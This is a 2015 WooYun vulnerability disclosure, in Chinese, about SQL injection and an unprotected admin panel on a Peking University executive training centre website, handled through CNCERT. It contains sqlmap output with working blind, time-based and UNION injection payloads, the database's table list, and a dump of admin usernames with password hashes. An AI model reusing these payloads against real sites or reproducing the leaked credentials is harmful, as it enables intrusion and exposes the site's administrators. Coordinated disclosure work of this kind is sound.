当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0154985

漏洞标题：某管理培训中心sql注入/未授权访问

相关厂商：cncert国家互联网应急中心

漏洞作者： 路人甲

提交时间：2015-11-27 14:14

修复时间：2016-01-15 17:30

公开时间：2016-01-15 17:30

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：12

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-27： 细节已通知厂商并且等待厂商处理中
2015-12-01： 厂商已经确认，细节仅向厂商公开
2015-12-11： 细节向核心白帽子及相关领域专家公开
2015-12-21： 细节向普通白帽子公开
2015-12-31： 细节向实习白帽子公开
2016-01-15： 细节向公众公开

简要描述：

RT

详细说明：

注入点：
http://**.**.**.**/bd_nry.php?id=873

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=873 AND 3994=3994
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: id=873 OR SLEEP(5)
    Type: UNION query
    Title: Generic UNION query (NULL) - 14 columns
    Payload: id=873 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a717171,0x536667445856424a5570,0x71766b7871),NULL,NULL,NULL,NULL,NULL,NULL-- 
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL 5.0.12
Database: pkufdc
[8 tables]
+------------+
| admin_user |
| lyb        |
| n_article  |
| n_class    |
| n_kwd      |
| n_tag      |
| webconfig  |
| zxbmb      |
+------------+


管理员信息表：

Database: pkufdc
Table: admin_user
[4 columns]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| flag   | tinyint(4)   |
| uid    | int(11)      |
| uname  | varchar(20)  |
| upwd   | varchar(100) |
+--------+--------------+
Database: pkufdc
Table: admin_user
[6 entries]
+-----+------+----------------------------------+------------+
| uid | flag | upwd                             | uname      |
+-----+------+----------------------------------+------------+
| 2   | 1    | bf6343d07da915750209d813f4c1766f | admin      |
| 3   | 1    | e5ed2706eb1d704211240756e1eee728 | zhaoxiaofa |
| 4   | 1    | 04cfa571f81d3c1a2b12f49cc2332d64 | liulaoshi  |
| 5   | 1    | ac9fd5dfa53d60d9346d7eb08c92993e | admin8     |
| 6   | 1    | e5ed2706eb1d704211240756e1eee728 | dom        |
| 7   | 1    | f6010169462a2b856ce8593eb027b134 | ADMIN      |
+-----+------+----------------------------------+------------+

漏洞证明：

北京大学高层管理培训中心后台未授权访问可以直接进入后台
问题url：
http://**.**.**.**/admin/index.php

26.png

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-12-01 17:28

厂商回复：

CNVD确认所述情况，已经转由CNCERT下发给赛尔教育，由其后续协调网站管理单位处置。

最新状态：

暂无

漏洞评价：

评价